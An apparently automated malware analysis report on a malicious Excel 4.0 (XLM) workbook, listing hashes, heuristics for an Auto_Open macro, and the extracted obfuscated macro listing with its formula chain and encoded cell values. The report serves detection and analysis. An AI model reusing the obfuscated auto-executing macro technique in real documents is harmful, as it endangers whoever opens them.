Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b3b82d6e78521fa1…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:47:11 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 89894f0a7297026cfa08eb52e1a36a5d SHA-1: 0a279a96c2e584c158004f54b955f0aa138dbb9c SHA-256: b3b82d6e78521fa1cbb6b49a0c76689d98fab7f35a780db39162fbfc1562888c
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6633 bytes
SHA-256: 09caf450b458aac4666702d0ab9a8d5d9d80ab0bc4d8e9d7bd0e33bf6b52367e
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  HLgMQ
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C153 
' 0018     23 LABEL : Cell Value, String Constant - BtAaxVUp len=0 
' 0018     22 LABEL : Cell Value, String Constant - BUAzZhO len=0 
' 0018     21 LABEL : Cell Value, String Constant - DSJZCL len=0 
' 0018     23 LABEL : Cell Value, String Constant - dUZZDAQM len=0 
' 0018     24 LABEL : Cell Value, String Constant - eAEonPJpm len=0 
' 0018     21 LABEL : Cell Value, String Constant - EjtlRM len=0 
' 0018     26 LABEL : Cell Value, String Constant - GBLnbteWVZD len=0 
' 0018     27 LABEL : Cell Value, String Constant - HJotLRAuVnSZ len=0 
' 0018     24 LABEL : Cell Value, String Constant - jabeosDiq len=0 
' 0018     27 LABEL : Cell Value, String Constant - JwOGtECshMgt len=0 
' 0018     22 LABEL : Cell Value, String Constant - LCWCQil len=0 
' 0018     27 LABEL : Cell Value, String Constant - NjBHeTrAIegX len=0 
' 0018     20 LABEL : Cell Value, String Constant - NmATQ len=0 
' 0018     27 LABEL : Cell Value, String Constant - oBPegFiAhJRT len=0 
' 0018     27 LABEL : Cell Value, String Constant - riZhcInKhKED len=0 
' 0018     22 LABEL : Cell Value, String Constant - RSieBql len=0 
' 0018     20 LABEL : Cell Value, String Constant - sYLgK len=0 
' 0018     22 LABEL : Cell Value, String Constant - TBuLWtZ len=0 
' 0018     25 LABEL : Cell Value, String Constant - UiuPowbqQv len=0 
' 0018     26 LABEL : Cell Value, String Constant - ZDBnMXNgkpU len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  HLgMQ,Q48,"",-386.00000000000000000000
'  HLgMQ,Q49,"",62.00000000000000000000
'  HLgMQ,Q50,"",720.00000000000000000000
'  HLgMQ,Q51,"",49.00000000000000000000
'  HLgMQ,Q52,"",-129.00000000000000000000
'  HLgMQ,Q53,"",-223.00000000000000000000
'  HLgMQ,C58,"SET.NAME("BUAzZhO",0+VALUE("0"))",""
'  HLgMQ,C62,"SET.NAME("NmATQ",BUAzZhO)",""
'  HLgMQ,C67,"SET.NAME("BtAaxVUp",BUAzZhO)",""
'  HLgMQ,C72,"SET.NAME("GBLnbteWVZD",COUNTA(TBuLWtZ))",""
'  HLgMQ,C77,"SET.NAME("sYLgK",COUNTA(LCWCQil))",""
'  HLgMQ,C79,[],""
'  HLgMQ,C82,"SET.NAME("oBPegFiAhJRT","")",""
'  HLgMQ,C86,"NmATQ",""
'  HLgMQ,C91,"SET.NAME("eAEonPJpm",HLOOKUP("*",TBuLWtZ,NmATQ,FALSE))",""
'  HLgMQ,C94,"DSJZCL",""
'  HLgMQ,C97,"SET.NAME("HJotLRAuVnSZ",BUAzZhO)",""
'  HLgMQ,C101,[],""
'  HLgMQ,C103,"HJotLRAuVnSZ",""
'  HLgMQ,C108,"riZhcInKhKED",""
'  HLgMQ,C110,"ZDBnMXNgkpU",""
'  HLgMQ,C114,"jabeosDiq",""
'  HLgMQ,C119,"SET.NAME("dUZZDAQM",VALUE(HLOOKUP("*",LCWCQil,jabeosDiq,FALSE)))",""
'  HLgMQ,C121,"RSieBql",""
'  HLgMQ,C124,"oBPegFiAhJRT",""
'  HLgMQ,C127,"BtAaxVUp",""
'  HLgMQ,C129,NEXT(),""
'  HLgMQ,C134,"JwOGtECshMgt",""
'  HLgMQ,C136,[],""
'  HLgMQ,C141,"NjBHeTrAIegX",""
'  HLgMQ,C144,NEXT(),""
'  HLgMQ,C149,RETURN(),""
'  HLgMQ,C173,"SET.NAME("UiuPowbqQv",C58)",""
'  HLgMQ,C178,"TBuLWtZ",""
'  HLgMQ,C180,"SET.NAME("LCWCQil",R47C15)",""
'  HLgMQ,C185,"SET.NAME("NjBHeTrAIegX",193)",""
'  HLgMQ,C187,"SET.NAME("EjtlRM",3)",""
'  HLgMQ,C192,UiuPowbqQv(),""
'  HLgMQ,C193,HALT(),""